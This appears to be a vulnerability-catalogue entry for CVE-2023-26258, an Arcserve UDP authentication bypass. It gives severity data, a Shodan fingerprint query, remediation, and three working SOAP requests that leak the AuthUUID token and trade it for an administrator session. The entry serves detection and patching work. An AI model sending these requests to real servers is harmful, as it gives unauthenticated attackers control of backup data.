| Title | Arcserve UDP <= 9.0.6034 - Authentication Bypass |
|---|---|
| Author | daffainfo |
| Severity | Critical |
| Impact | Unauthenticated attackers can bypass authentication by leaking the AuthUUID token, allowing them to execute any administrative task and potentially compromise all backup data managed by Arcserve UDP. |
| Remediation | Upgrade to Arcserve UDP version 9.1 or later that addresses this authentication bypass vulnerability. |
| CVSS Score | 9.8 |
| EPSS Score | 0.73541 |
| CVE ID | CVE-2023-26258 |
| CWE ID | CWE-863 |
| Shodan Query | http.favicon.hash:-1889244460 |
| Tags | cve cve2023 arcserve auth-bypass vkev vuln |
Arcserve UDP through 9.0.6034 allows authentication bypass. The method getVersionInfo at WebServiceImpl/services/FlashServiceImpl leaks the AuthUUID token. This token can be used at /WebServiceImpl/services/VirtualStandbyServiceImpl to obtain a valid session. This session can be used to execute any task as administrator.
POST /WebServiceImpl/services/FlashServiceImpl HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_13_5) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/11.1.1 Safari/605.1.15
Connection: close
Content-Length: 1013
Content-Type: text/xml
Accept-Encoding: gzip
<?xml version="1.0" encoding="UTF-8"?>
<S:Envelope xmlns:S="http://schemas.xmlsoap.org/soap/envelope/">
<S:Body>
<ns2:getVersionInfo
xmlns:ns2="http://webservice.arcflash.ca.com"
xmlns:ns3="http://backup.data.webservice.arcflash.ca.com/xsd"
xmlns:ns4="http://data.webservice.arcflash.ca.com/xsd"
xmlns:ns5="http://export.data.webservice.arcflash.ca.com/xsd"
xmlns:ns6="http://vsphere.data.webservice.arcflash.ca.com/xsd"
xmlns:ns7="http://browse.data.webservice.arcflash.ca.com/xsd"
xmlns:ns8="http://restore.data.webservice.arcflash.ca.com/xsd"
xmlns:ns9="http://catalog.data.webservice.arcflash.ca.com/xsd"
xmlns:ns10="http://activitylog.data.webservice.arcflash.ca.com/xsd"
xmlns:ns11="http://remotedeploy.data.webservice.arcflash.ca.com/xsd"
xmlns:ns12="http://history.job.data.webservice.arcflash.ca.com/xsd"
xmlns:ns13="http://webservice.edge.arcserve.ca.com/"/>
</S:Body>
</S:Envelope>
POST /WebServiceImpl/services/VirtualStandbyServiceImpl HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/46.0.2486.0 Safari/537.36 Edge/13.10586
Connection: close
Content-Length: 1076
Content-Type: text/xml
SOAPAction: "<http://webservice.arcflash.ca.com/IEdgeDashboardService/validateUserByUUIDRequest>"
Accept-Encoding: gzip
<?xml version="1.0" encoding="UTF-8"?>
<S:Envelope xmlns:S="http://schemas.xmlsoap.org/soap/envelope/">
<S:Body>
<ns2:validateUserByUUID
xmlns:ns2="http://webservice.arcflash.ca.com"
xmlns:ns3="http://backup.data.webservice.arcflash.ca.com/xsd"
xmlns:ns4="http://data.webservice.arcflash.ca.com/xsd"
xmlns:ns5="http://export.data.webservice.arcflash.ca.com/xsd"
xmlns:ns6="http://vsphere.data.webservice.arcflash.ca.com/xsd"
xmlns:ns7="http://browse.data.webservice.arcflash.ca.com/xsd"
xmlns:ns8="http://restore.data.webservice.arcflash.ca.com/xsd"
xmlns:ns9="http://catalog.data.webservice.arcflash.ca.com/xsd"
xmlns:ns10="http://activitylog.data.webservice.arcflash.ca.com/xsd"
xmlns:ns11="http://remotedeploy.data.webservice.arcflash.ca.com/xsd"
xmlns:ns12="http://history.job.data.webservice.arcflash.ca.com/xsd"
xmlns:ns13="http://webservice.edge.arcserve.ca.com/">
<arg0>pYSVXk</arg0>
</ns2:validateUserByUUID>
</S:Body>
</S:Envelope>
POST /WebServiceImpl/services/FlashServiceImpl HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (X11; Linux i686; rv:1.9.5.20) Gecko/ Firefox/3.6.12
Connection: close
Content-Length: 1069
Content-Type: text/xml
SOAPAction: "<http://webservice.arcflash.ca.com/IFlashService_R16_5/getVersionInfoRequest>"
Accept-Encoding: gzip
<?xml version="1.0" encoding="UTF-8"?>
<S:Envelope xmlns:S="http://schemas.xmlsoap.org/soap/envelope/">
<S:Body>
<ns2:getLocalHostAsTrust
xmlns:ns2="http://webservice.arcflash.ca.com"
xmlns:ns3="http://backup.data.webservice.arcflash.ca.com/xsd"
xmlns:ns4="http://data.webservice.arcflash.ca.com/xsd"
xmlns:ns5="http://export.data.webservice.arcflash.ca.com/xsd"
xmlns:ns6="http://vsphere.data.webservice.arcflash.ca.com/xsd"
xmlns:ns7="http://browse.data.webservice.arcflash.ca.com/xsd"
xmlns:ns8="http://restore.data.webservice.arcflash.ca.com/xsd"
xmlns:ns9="http://catalog.data.webservice.arcflash.ca.com/xsd"
xmlns:ns10="http://activitylog.data.webservice.arcflash.ca.com/xsd"
xmlns:ns11="http://remotedeploy.data.webservice.arcflash.ca.com/xsd"
xmlns:ns12="http://history.job.data.webservice.arcflash.ca.com/xsd"
xmlns:ns13="http://webservice.edge.arcserve.ca.com/"
>
</ns2:getLocalHostAsTrust>
</S:Body>
</S:Envelope>
🔗 Nuclei Template: https://github.com/packetinside/nuclei-templates/blob/main/http/cves/2023/CVE-2023-26258.yaml
🦈 Packet Capture: ⬇️ Download cve-2023-26258.pcap
N/AN/A